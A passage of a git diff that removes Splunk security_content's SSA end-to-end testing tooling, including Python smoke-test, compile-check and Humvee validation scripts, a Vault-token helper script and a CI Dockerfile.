-py==1.10.0 -pyparsing==2.4.7 -pytest==6.2.2 -pytest-check==1.0.1 -pytest-expect==1.1.0 -pytz==2021.1 -PyYAML==5.4.1 -requests==2.25.1 -six==1.15.0 -sly==0.4 -smmap==3.0.5 -toml==0.10.2 -u-msgpack-python==2.7.1 -urllib3==1.26.5 diff --git a/bin/ssa-end-to-end-testing/run_ssa_smoketest.py b/bin/ssa-end-to-end-testing/run_ssa_smoketest.py deleted file mode 100644 index 14cc9f2e97..0000000000 --- a/bin/ssa-end-to-end-testing/run_ssa_smoketest.py +++ /dev/null @@ -1,100 +0,0 @@ -import os -import sys -import argparse -import logging - -from modules.github_service import GithubService -from modules.test_ssa_detections import SSADetectionTesting -from modules.security_content_handler import prepare_test, remove_attack_data, remove_security_content - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - - -def main(args): - - parser = argparse.ArgumentParser(description="SSA detection smoke test") - parser.add_argument("-t", "--token", required=True, - help="specify the scloud token") - parser.add_argument("-e", "--env", required=True, - help="specify the environment") - parser.add_argument("-s", "--tenant", required=True, - help="specify the tenant in the environment") - parser.add_argument("-b", "--branch", required=True, - help="specify the security content branch") - parser.add_argument("-tf", "--test_file", required=False, - help="specify the path to the ssa test file") - parser.add_argument("-f", "--fast", required=False, default=False, action='store_true', - help="skips testing of SSA and DSP availability") - - args = parser.parse_args() - token = args.token - env = args.env - tenant = args.tenant - branch = args.branch - test_file = args.test_file - fast = args.fast - - # Retrieve Security Content - github_service = GithubService(branch) - ci_changes = False - if test_file: - if not os.path.isfile('security_content/tests/' + test_file): - LOGGER.error('Can not find specified test file') - sys.exit(1) - test_files_ssa = [str("tests/" + test_file)] - else: - test_files_ssa, ci_changes = github_service.get_changed_test_files_ssa() - - LOGGER.info('changed/added GitHub files:') - for test_file in test_files_ssa: - LOGGER.info(test_file) - - if ci_changes: - LOGGER.info('CI code has changed') - - if len(test_files_ssa) == 0 and not ci_changes: - LOGGER.info('Nothing to test for SSA smoke test.') - sys.exit(0) - - if len(test_files_ssa) == 0 and ci_changes and fast: - LOGGER.error('Cannot test CI changes since no detections/tests have changed and running in fast mode.') - sys.exit(-1) - - # test DSP and SSA pipeline - ssa_detection_testing = SSADetectionTesting(env, tenant, token) - if not fast: - test_result_passed = ssa_detection_testing.test_dsp_pipeline() - # disabled for debugging - # if not test_result_passed: - # sys.exit(1) - - # test SSA detections - test_results = [] - test_passed = True - for test_file in test_files_ssa: - test_obj, attack_data_folder = prepare_test(test_file) - test_result = ssa_detection_testing.test_ssa_detections(test_obj) - test_results.append(test_result.copy()) - remove_attack_data(attack_data_folder) - - LOGGER.info('-----------------------------------') - LOGGER.info('------- test SSA detections -------') - LOGGER.info('-----------------------------------') - for test_result in test_results: - test_passed = test_passed and test_result['result'] - LOGGER.info(test_result['msg']) - LOGGER.info('-----------------------------------') - - if github_service.created_repo: - remove_security_content() - exit_code = not test_passed - sys.exit(exit_code) - - - -if __name__ == "__main__": - main(sys.argv[1:]) - diff --git a/bin/ssa-end-to-end-testing/run_ssa_smoketest_helper.sh b/bin/ssa-end-to-end-testing/run_ssa_smoketest_helper.sh deleted file mode 100644 index 796b4b840c..0000000000 --- a/bin/ssa-end-to-end-testing/run_ssa_smoketest_helper.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/bash - -export VAULT_TOKEN=`cat /vault/.vault-token` - -SCLOUD_TOKEN=$(vault read -format json $SMOKETEST_VAULT_READ_PATH tenant=$TENANT | jq -r '.data.token') - -virtualenv -p python3 smoketest && source smoketest/bin/activate && pip3 install -r requirements.txt - -python run_ssa_smoketest.py -t $SCLOUD_TOKEN -e $DSP_ENV -s $TENANT -b $SRCBRANCH diff --git a/bin/ssa-end-to-end-testing/smoke-test-runner/Dockerfile b/bin/ssa-end-to-end-testing/smoke-test-runner/Dockerfile deleted file mode 100644 index 0f028796d6..0000000000 --- a/bin/ssa-end-to-end-testing/smoke-test-runner/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -# Base image that support pod to communicate with SCS Vault to fetch IAC token as well to support python3 pytest framework -FROM docker.repo.splunkdev.net/ci-cd/ci-container:python-3.7-buster - -ARG SRCBRANCH=develop - -RUN mkdir smoketest && \ - /usr/local/bin/python -m pip install --upgrade pip && \ - pip install pytest && pip install requests && pip install virtualenv - -RUN git clone https://github.com/splunk/security_content.git -b ${SRCBRANCH} - -RUN chmod +x security_content/bin/ssa-end-to-end-testing/run_ssa_smoketest_helper.sh - -RUN curl -L https://github.com/splunk/splunk-cloud-sdk-go/releases/download/v1.11.1/scloud_v7.1.0_linux_amd64.tar.gz | tar -xz -C /usr/bin - -COPY --from=docker.repo.splunkdev.net/kub/debug-tools:latest /usr/local/bin/vault /usr/local/bin/vault - -WORKDIR /security_content/bin/ssa-end-to-end-testing diff --git a/bin/ssa-end-to-end-testing/ssa_compile_check.py b/bin/ssa-end-to-end-testing/ssa_compile_check.py deleted file mode 100644 index d6ba79caac..0000000000 --- a/bin/ssa-end-to-end-testing/ssa_compile_check.py +++ /dev/null @@ -1,108 +0,0 @@ -import os -import sys -import base64 -import configparser -import time -import yaml -import argparse -from modules.ssa_utils import * -from modules.utils import manipulate_spl -from modules.streams_service_api_helper import DSPApi - - -def main(args): - parser = argparse.ArgumentParser() - parser.add_argument('detection', nargs='+', type=str, help='detection yaml to be checked') - opts = parser.parse_args(args) - - api = get_api() - if api is None: - print("No valid tokens found") - sys.exit(-1) - - results = {} - for detection_path in opts.detection: - if not os.path.exists(detection_path): - print(f"File {detection_path} does not exist") - continue - - with open(detection_path, 'rt') as f: - detection = yaml.safe_load(f) - name = os.path.basename(detection_path) - - spl = manipulate_spl(api, detection['search'], None) - if spl is None: - results[name] = 'failed to manipulate SPL' - continue - - upl = api.compile_spl(spl) - if upl is None: - results[name] = 'failed to compile SPL' - continue - - validated_upl = api.validate_upl(upl) - if validated_upl is None: - results[name] = 'failed to validate UPL' - continue - - results[name] = 'success' - - for name, result in results.items(): - if result == 'success': - print(f"{name}: {result}") - - for name, result in results.items(): - if result != 'success': - print(f"{name} FAILED!!: {result}") - - -def get_api(): - for token in get_scloud_tokens(): - env, tenant, good = parse_token(token) - if good: - return DSPApi(env, tenant, token) - - -def parse_token(token): - def decode(s): - def pad(t): - return t + '=' * (len(t) % 4) - return json.loads(base64.b64decode(pad(s))) - - header, payload, signature = token.split('.') - payload_data = decode(payload) - for k in sorted(payload_data.keys()): - print(f"token.payload.{k} = {payload_data[k]}") - - token_env = payload_data['iss'].split('.')[-4] - print(f"token env: {token_env}") - - token_tenant = payload_data['tenant'] - print(f"token tenant: {token_tenant}") - - valid_for = payload_data['exp'] - int(time.time()) - if valid_for > 60: - print("Token is good") - token_good = True - else: - print("Token is expired") - token_good = False - - return token_env, token_tenant, token_good - - -def get_scloud_tokens(): - tokens = [] - config = configparser.ConfigParser() - context_path = os.path.expanduser('~/.scloud_context') - config.read(context_path) - config.sections() - for section in config.sections(): - token = config[section].get('access_token') - if token is not None: - tokens.append(token.strip('"')) - return tokens - - -if __name__ == '__main__': - main(sys.argv[1:]) \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/ssa_run_humvee.py b/bin/ssa-end-to-end-testing/ssa_run_humvee.py deleted file mode 100644 index 34ecfaad7a..0000000000 --- a/bin/ssa-end-to-end-testing/ssa_run_humvee.py +++ /dev/null @@ -1,47 +0,0 @@ -from pathlib import Path -import sys -import yaml -import subprocess -import tempfile -import argparse -from modules.ssa_utils import * -from modules.testing_utils import log, logger, get_detection, get_path, pull_data -from ssa_test import extract_pipeline - - -def main(args): - parser = argparse.ArgumentParser() - parser.add_argument('detection_file', type=str, help='detection yaml to be run') - parser.add_argument('data_file', type=str, help='data json to be fed to the detection') - opts = parser.parse_args(args) - - humvee_path = Path(os.path.dirname(__file__)) / '.humvee' / 'humvee.jar' - assert humvee_path.exists() - - data_path = Path(opts.data_file) - assert data_path.exists() - - detection_path = Path(opts.detection_file) - assert detection_path.exists() - - with open(detection_path, 'rt') as f: - detection = yaml.safe_load(f) - - spl2 = extract_pipeline(detection['search'], data_path, None) - detection_spl_path = Path('/tmp') / (detection['id'] + '.spl2') - with open(detection_spl_path, 'wt') as f: - f.write(spl2) - - print('write spl2 to %s' % detection_spl_path) - - subprocess.run(["/usr/bin/java", - "-jar", humvee_path, - 'cli', - '-i', detection_spl_path, - '-o', 'test.out']) - - - - -if __name__ == '__main__': - main(sys.argv[1:]) \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/ssa_test.py b/bin/ssa-end-to-end-testing/ssa_test.py deleted file mode 100644 index bbf293d96b..0000000000 --- a/bin/ssa-end-to-end-testing/ssa_test.py +++ /dev/null @@ -1,171 +0,0 @@ -import sys -import yaml -import subprocess -import tempfile -import argparse -from modules.ssa_utils import * -from modules.testing_utils import log, logger, get_detection, get_path, pull_data -from modules.assertions import assertions_parser - -TEST_TIMEOUT = 600 -PASSED = 1 -SKIPPED = 0 -FAILED = -1 - - -def main(args): - parser = argparse.ArgumentParser() - parser.add_argument('--skip-errors', action='store_true', default=False) - parser.add_argument('--debug', action='store_true', default=False) - parser.add_argument('test_files', type=str, nargs='+', help="test files to be checked") - parsed = parser.parse_args(args) - if parsed.debug: - logger.setLevel(logging.DEBUG) - build_humvee(get_path(SSML_CWD)) - status = True - passed_tests = [] - skipped_tests = [] - failed_tests = [] - for t in parsed.test_files: - cur_status = test_detection(t, parsed) - status = status and (cur_status == PASSED or cur_status == SKIPPED) - if cur_status == PASSED: - passed_tests.append(t) - elif cur_status == SKIPPED: - skipped_tests.append(t) - else: - failed_tests.append(t) - if not status and not parsed.skip_errors: - _exit(1, passed_tests, skipped_tests, failed_tests) - if status: - _exit(0, passed_tests, skipped_tests, failed_tests) - else: - _exit(1, passed_tests, skipped_tests, failed_tests) - - -def _exit(code, passed, skipped, failed): - total_passed = len(passed) - total_failed = len(failed) - log(logging.DEBUG, "Skipped tests %d" % len(skipped), "\n".join(skipped)) - log(logging.INFO, "Passed tests (%d/%d)" % (total_passed, total_passed + total_failed), "\n".join(passed)) - log(logging.INFO, "Failed tests (%d/%d)" % (total_failed, total_passed + total_failed), "\n".join(failed)) - exit(code) - - -def get_pipeline_input(data): - return '| from read_text("%s") ' \ - '| select from_json_object(value) as input_event ' \ - '| eval _datamodels=ucast(map_get(input_event, "_datamodels"), "collection", []),body={}' % data - - -def extract_pipeline(search, data, pass_condition): - updated_search = re.sub(r"\|\s*from\s+read_ssa_enriched_events\(\s*\)", - get_pipeline_input(data), - search) - updated_search = re.sub(r"\|\s*into\s+write_ssa_detected_events\(\s*\)\s*;", - ";", - updated_search) - return updated_search - - -def activate_detection(detection, data, pass_condition): - with open(detection, 'r') as fh: - parsed_detection = yaml.safe_load(fh) - # Returns pipeline only for SSA detections - if parsed_detection['type'] == "SSA": - pipeline = extract_pipeline(parsed_detection['search'], data, pass_condition) - return pipeline - else: - log(logging.WARN, "Not a SSA. It will be skipped.", parsed_detection['name']) - return None - - -def assert_results(pass_condition, events): - if len(pass_condition) == 0: - log(logging.ERROR, "Empty pass_condition") - return False - try: - lexer = assertions_parser.AssertionLexer() - parser = assertions_parser.AssertionParser(events) - return parser.parse(lexer.tokenize(pass_condition)) - except SyntaxError: - log(logging.ERROR, "pass_condition not in a language that assert_result can understand", pass_condition) - return False - - -def test_detection(test, args): - with open(test, 'r') as fh: - test_desc = yaml.safe_load(fh) - if (test_desc is not None) and ('name' in test_desc) and ('tests' in test_desc): - name = test_desc['name'] - # Download data to temporal folder - for unit in test_desc['tests']: - detection = get_detection(unit) - if detection['type'] == 'streaming': - log(logging.INFO, "Testing %s" % name) - # Prepare data - data_dir = tempfile.TemporaryDirectory(prefix="data", dir=get_path("%s" % SSML_CWD)) - detection_file = get_path("../detections/%s" % unit['file']) - if unit['attack_data'] is None or len(unit['attack_data']) == 0: - log(logging.ERROR, "No dataset in testing file in %s" % test) - return FAILED - test_data = pull_data(unit, data_dir.name) - # Extract pipeline and remove SSA decorations - input_data = test_data[list(test_data.keys())[0]] - spl2 = extract_pipeline(detection['search'], input_data, unit['pass_condition']) - if args.debug: - log(logging.DEBUG, "Test SPL2 query", detail=spl2) - # will use always the same data file. Still we can't handle multiple datasets in desc file - with open(input_data, 'r') as test_data_fh: - log(logging.DEBUG, "Sample testing data", detail="\n".join(test_data_fh.readlines()[:10])) - if spl2 is not None: - # Preparing Execution - spl2_file = os.path.join(data_dir.name, "test.spl2") - test_out = "%s.out" % spl2_file - test_status = "%s.status" % test_out - with open(spl2_file, 'w') as spl2_fh: - spl2_fh.write(spl2) - # Execute SPL2 - log(logging.INFO, "Humvee test %s" % unit['name']) - try: - subprocess.run(["/usr/bin/java", - "-jar", get_path("%s/humvee.jar" % SSML_CWD), - 'cli', - '-i', spl2_file, - '-o', test_out], - stderr=subprocess.DEVNULL, - timeout=TEST_TIMEOUT) - except TimeoutError: - log(logging.ERROR, "%s test timeout" % unit['name']) - return FAILED - # Validate that it can run - with open(test_status, "r") as test_status_fh: - status = '\n'.join(test_status_fh.readlines()) - if status == "OK\n": - log(logging.INFO, "%s executed without issues" % unit['name']) - else: - log(logging.ERROR, "Detection %s can not be executed" % detection_file, detail=status) - log(logging.ERROR, "Faulty SPL2 with errors", detail=spl2) - return FAILED - # Validate the results - with open(test_out, 'r') as test_out_fh: - res = test_out_fh.readlines() - log(logging.DEBUG, - "Output events sample (%d/%d)" % (len(res[:10]), len(res)), - detail="\n".join(res[:10])) - if assert_results(unit['pass_condition'], res): - log(logging.DEBUG, "Passed test %s" % unit['name']) - else: - log(logging.ERROR, "Did not pass condition:", unit['pass_condition']) - return FAILED - else: - log(logging.DEBUG, "Not an SSA test, skipping testing file", unit['name']) - return SKIPPED - else: - log(logging.WARN, "Not a testing file", test) - return SKIPPED - return PASSED - - -if __name__ == '__main__': - main(sys.argv[1:]) diff --git a/bin/ssa-end-to-end-testing/ssa_validate.py b/bin/ssa-end-to-end-testing/ssa_validate.py deleted file mode 100644 index a9f9b166b1..0000000000 --- a/bin/ssa-end-to-end-testing/ssa_validate.py +++ /dev/null @@ -1,143 +0,0 @@ -import yaml -import sys -import argparse -import tempfile -import subprocess -from modules.ssa_utils import * -from modules.testing_utils import * - - -DUMB_PIPELINE_INPUT = '| from read_text("test.spl2")' \ - '| select from_json_object(value) as input_event' \ - '| eval timestamp=parse_long(ucast(map_get(input_event, "_time"), "string", null))' - -DUMB_PIPELINE_OUTPUT = '| select start_time, end_time, entities, body;' - - -def main(args): - parser = argparse.ArgumentParser() - parser.add_argument('--skip-errors', action='store_true', default=False) - parser.add_argument('--debug', action='store_true', default=False) - parser.add_argument('detection_files', type=str, nargs='+', help="detection files to be checked") - parsed = parser.parse_args(args) - if parsed.debug: - logger.setLevel(logging.DEBUG) - build_humvee(get_path(SSML_CWD)) - status = True - passed_validations = [] - failed_validations = [] - for detection_file in parsed.detection_files: - if os.path.isfile(detection_file): - with open(detection_file, 'r') as detection_fh: - detection = yaml.safe_load(detection_fh) - if detection['type'] == "streaming": - # Parsed file is a SSA detection - log(logging.INFO, "Validating %s" % detection['name']) - cur_status = validate_tags(detection) - cur_status = cur_status & validate_required_fields(detection) - status = status & cur_status - if cur_status: - passed_validations.append(detection_file) - else: - failed_validations.append(detection_file) - if not status and not parsed.skip_errors: - exit(1) - if status: - exit(0) - else: - exit(1) - - -def write_validation_pipeline(spl2, spl2_file): - pipeline = re.sub(r"\|\s*from\s+read_ssa_enriched_events\(\s*\)", - DUMB_PIPELINE_INPUT, - spl2) - pipeline = re.sub(r"\|\s*into\s+write_ssa_detected_events\(\s*\)\s*;", - DUMB_PIPELINE_OUTPUT, - pipeline) - with open(spl2_file, 'w') as spl2_fh: - spl2_fh.write(pipeline) - log(logging.DEBUG, "Testing SPL2 pipeline", detail=pipeline) - - -def extract_ssa_fields(spl2): - """ - From a SPL2 pipeline extracts SSA fields using Humvee - @param spl2: String representing the pipeline search - @return: A set of fields used in the pipeline - """ - data_dir = tempfile.TemporaryDirectory(prefix="data", dir=get_path("%s" % SSML_CWD)) - pipeline_file = os.path.join(data_dir.name, "test.spl2") - fields_file = os.path.join(data_dir.name, "fields.out") - write_validation_pipeline(spl2, pipeline_file) - subprocess.run(["/usr/bin/java", - "-jar", "humvee.jar", - 'cli', '-i', - pipeline_file, '-o', - fields_file, - '-f'], - #stderr=subprocess.DEVNULL, - cwd=get_path(SSML_CWD), - check=True) - spl2_ssa_fields = set() - with open(fields_file, 'r') as test_out_fh: - for f in test_out_fh.readlines(): - spl2_ssa_fields.add(f.strip()) - return spl2_ssa_fields - - -def validate_tags(detection): - """ - Checks that some generic tags have been populated - @param detection: Parsed YAML dictionary of a SSA detection file - @return: True when tags are present - """ - if 'tags' not in detection: - log(logging.ERROR, "Missing `tags` from detection %s" % detection['name']) - return False - if 'risk_severity' not in detection['tags']: - log(logging.ERROR, "Missing `risk_severity` tag from detection `tags` in %s" % detection['name']) - return False - return validate_required_fields(detection) - - -def validate_required_fields(detection): - """ - Checks that required fields has been populated in the required tags. - If there are issues it reports them to the log ERROR console - @param detection: Parsed YAML dictionary of a SSA detection file - @return: True when declared fields are consistent with the search - """ - try: - spl2_ssa_fields = extract_ssa_fields(detection['search']) - log(logging.DEBUG, "SSA fields used by the detection", detail=",".join(spl2_ssa_fields)) - if "required_fields" not in detection['tags']: - log(logging.ERROR, - "required_fields not present in detection %s" % detection['name'], - detail='''Suggested action: Append this to "tags" in your detection - %s''' % yaml.dump({'required_fields': list(spl2_ssa_fields)})) - return False - declared_ssa_fields = set(detection['tags']['required_fields']) - fields_declared_not_used = declared_ssa_fields.difference(spl2_ssa_fields) - fields_not_declared = spl2_ssa_fields.difference(declared_ssa_fields) - if len(fields_declared_not_used) > 0: - log(logging.ERROR, - "Some declared fields in detection %s not used in pipeline" % detection['name'], - detail=','.join(fields_declared_not_used)) - return False - if len(fields_not_declared) > 0: - log(logging.ERROR, - "Some fields used in the pipeline not declared in detection %s" % detection['name'], - detail=','.join(fields_not_declared)) - return False - return True - except subprocess.CalledProcessError: - log(logging.ERROR, - "Syntax errors in pipeline %s" % detection['name'], - detail=detection['search']) - log(logging.INFO, "Perhaps required [input|output] fields do not match SSA ones") - return False - - -if __name__ == '__main__': - main(sys.argv[1:])